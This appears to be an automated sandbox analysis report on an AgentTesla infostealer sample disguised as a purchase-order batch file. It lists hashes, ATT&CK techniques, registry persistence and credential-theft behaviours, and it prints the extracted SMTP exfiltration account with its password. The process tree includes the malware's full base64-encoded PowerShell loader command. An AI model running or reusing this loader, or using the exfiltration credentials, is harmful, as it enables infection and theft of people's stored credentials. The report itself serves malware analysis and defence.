agenttesla | b78cf80d94f017c5f389590f2f3b312f1694d93e5e6aebf296e46b5b9dbca2da

General

Target

P.O 2023-69415002.bat
Size

1018KB
MD5

e4e1075b03f102d9d07619194b7e5fbb
SHA1

ef833d4052c3efff9315c8f2845c2d5e20f7165f
SHA256

b78cf80d94f017c5f389590f2f3b312f1694d93e5e6aebf296e46b5b9dbca2da
SHA512

1faffae63d7e4731ecc30b1c02f60625632d5c2cc9944dc2870acf75fcb50bd66cd32f893f68a2400bdd21f06da6086a760c3b654969829114c857faeaeb432e
SSDEEP

24576:/qfa722mM+vmWw3/MzxW2LhbOTx61lx6ULpzF:ku+HxVbOVyT

Score

10^/10

agenttesla collection keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.asiaparadisehotel.com
Port:
587
Username:
[email protected]
Password:
r&@^4,D9~kF2
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Executes dropped EXE 1 IoCs

pid	Process
4136	Eoqrexflxja.png

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Eoqrexflxja.png
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Eoqrexflxja.png
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Eoqrexflxja.png

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\My App = "C:\\Users\\Admin\\AppData\\Roaming\\My App\\My App.exe"	Eoqrexflxja.png

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	api.ipify.org
21	api.ipify.org

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4136	Eoqrexflxja.png
4136	Eoqrexflxja.png
4136	Eoqrexflxja.png
4136	Eoqrexflxja.png

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4136	Eoqrexflxja.png
Token: SeDebugPrivilege	4136	Eoqrexflxja.png

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 1260 wrote to memory of 400	1260	cmd.exe	83
PID 1260 wrote to memory of 400	1260	cmd.exe	83
PID 400 wrote to memory of 2644	400	cmd.exe	86
PID 400 wrote to memory of 2644	400	cmd.exe	86
PID 400 wrote to memory of 4184	400	cmd.exe	85
PID 400 wrote to memory of 4184	400	cmd.exe	85
PID 400 wrote to memory of 396	400	cmd.exe	88
PID 400 wrote to memory of 396	400	cmd.exe	88
PID 400 wrote to memory of 2956	400	cmd.exe	87
PID 400 wrote to memory of 2956	400	cmd.exe	87
PID 400 wrote to memory of 4136	400	cmd.exe	89
PID 400 wrote to memory of 4136	400	cmd.exe	89
PID 400 wrote to memory of 4136	400	cmd.exe	89

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Eoqrexflxja.png

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Eoqrexflxja.png

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\P.O 2023-69415002.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\P.O 2023-69415002.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Eoqrexflxja.png
    3⤵
    PID:4184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2644
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\P.O 2023-69415002.bat" C:\Users\Admin\AppData\Local\Temp\Eoqrexflxja.png.bat
    3⤵
    PID:2956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:396
- - C:\Users\Admin\AppData\Local\Temp\Eoqrexflxja.png
    C:\Users\Admin\AppData\Local\Temp\Eoqrexflxja.png -win 1 -enc JABVAGQAbwByAGoAbgBhAHEAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQAQwB4AGkAcwBmAGYAZgBzAG8AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVQBkAG8AcgBqAG4AYQBxACkAOwAkAFgAeQB4AGcAaQB0AGIAcAB4AG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEMAeABpAHMAZgBmAGYAcwBvACAAKQA7ACQAbwB1AHQAcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAFkAcQBqAHoAdgBuAHQAZQB1AHoAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAWAB5AHgAZwBpAHQAYgBwAHgAbgAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAWQBxAGoAegB2AG4AdABlAHUAegAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAWQBxAGoAegB2AG4AdABlAHUAegAuAEMAbABvAHMAZQAoACkAOwAkAFgAeQB4AGcAaQB0AGIAcAB4AG4ALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABDAHgAaQBzAGYAZgBmAHMAbwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABDAHgAaQBzAGYAZgBmAHMAbwApADsAIAAkAEQAcQBpAGMAeABrAGkAagBxAGIAZAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABDAHgAaQBzAGYAZgBmAHMAbwApADsAIAAkAEIAcwBsAHQAbgAgAD0AIAAkAEQAcQBpAGMAeABrAGkAagBxAGIAZAAuAEcAZQB0AEUAeABwAG8AcgB0AGUAZABUAHkAcABlAHMAKAApAFsAMABdADsAIAAkAEkAawB4AHUAdgBsAGUAaABpAGIAIAA9ACAAJABCAHMAbAB0AG4ALgBHAGUAdABNAGUAdABoAG8AZABzACgAKQBbADAAXQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:4136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Unsecured Credentials

3

T1552

Credentials In Files

3

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Eoqrexflxja.png

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Eoqrexflxja.png.bat

Filesize
1018KB

MD5
e4e1075b03f102d9d07619194b7e5fbb

SHA1
ef833d4052c3efff9315c8f2845c2d5e20f7165f

SHA256
b78cf80d94f017c5f389590f2f3b312f1694d93e5e6aebf296e46b5b9dbca2da

SHA512
1faffae63d7e4731ecc30b1c02f60625632d5c2cc9944dc2870acf75fcb50bd66cd32f893f68a2400bdd21f06da6086a760c3b654969829114c857faeaeb432e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tb1bcn1e.fyi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4136-29-0x0000000002620000-0x0000000002630000-memory.dmp

Filesize
64KB

Download
memory/4136-31-0x0000000006190000-0x00000000061AA000-memory.dmp

Filesize
104KB

Download
memory/4136-12-0x0000000004CA0000-0x0000000004CC2000-memory.dmp

Filesize
136KB

Download
memory/4136-13-0x0000000005480000-0x00000000054E6000-memory.dmp

Filesize
408KB

Download
memory/4136-19-0x0000000005660000-0x00000000056C6000-memory.dmp

Filesize
408KB

Download
memory/4136-10-0x0000000002670000-0x00000000026A6000-memory.dmp

Filesize
216KB

Download
memory/4136-24-0x00000000057D0000-0x0000000005B24000-memory.dmp

Filesize
3.3MB

Download
memory/4136-25-0x0000000005C70000-0x0000000005C8E000-memory.dmp

Filesize
120KB

Download
memory/4136-26-0x0000000005F60000-0x0000000005FAC000-memory.dmp

Filesize
304KB

Download
memory/4136-9-0x0000000002620000-0x0000000002630000-memory.dmp

Filesize
64KB

Download
memory/4136-28-0x00000000750F0000-0x00000000758A0000-memory.dmp

Filesize
7.7MB

Download
memory/4136-8-0x00000000750F0000-0x00000000758A0000-memory.dmp

Filesize
7.7MB

Download
memory/4136-30-0x0000000007290000-0x000000000790A000-memory.dmp

Filesize
6.5MB

Download
memory/4136-11-0x0000000004D20000-0x0000000005348000-memory.dmp

Filesize
6.2MB

Download
memory/4136-32-0x0000000006C10000-0x0000000006CDA000-memory.dmp

Filesize
808KB

Download
memory/4136-33-0x0000000006CE0000-0x0000000006D5A000-memory.dmp

Filesize
488KB

Download
memory/4136-34-0x0000000006E60000-0x0000000006EC6000-memory.dmp

Filesize
408KB

Download
memory/4136-36-0x0000000002620000-0x0000000002630000-memory.dmp

Filesize
64KB

Download
memory/4136-37-0x0000000007130000-0x0000000007176000-memory.dmp

Filesize
280KB

Download
memory/4136-38-0x0000000007200000-0x0000000007242000-memory.dmp

Filesize
264KB

Download
memory/4136-39-0x0000000002620000-0x0000000002630000-memory.dmp

Filesize
64KB

Download
memory/4136-40-0x0000000002620000-0x0000000002630000-memory.dmp

Filesize
64KB

Download
memory/4136-41-0x0000000007EC0000-0x0000000008464000-memory.dmp

Filesize
5.6MB

Download
memory/4136-42-0x0000000007E20000-0x0000000007E70000-memory.dmp

Filesize
320KB

Download
memory/4136-43-0x0000000008510000-0x00000000085A2000-memory.dmp

Filesize
584KB

Download
memory/4136-44-0x0000000007E90000-0x0000000007E9A000-memory.dmp

Filesize
40KB

Download
memory/4136-45-0x0000000002620000-0x0000000002630000-memory.dmp

Filesize
64KB

Download
memory/4136-46-0x0000000002620000-0x0000000002630000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads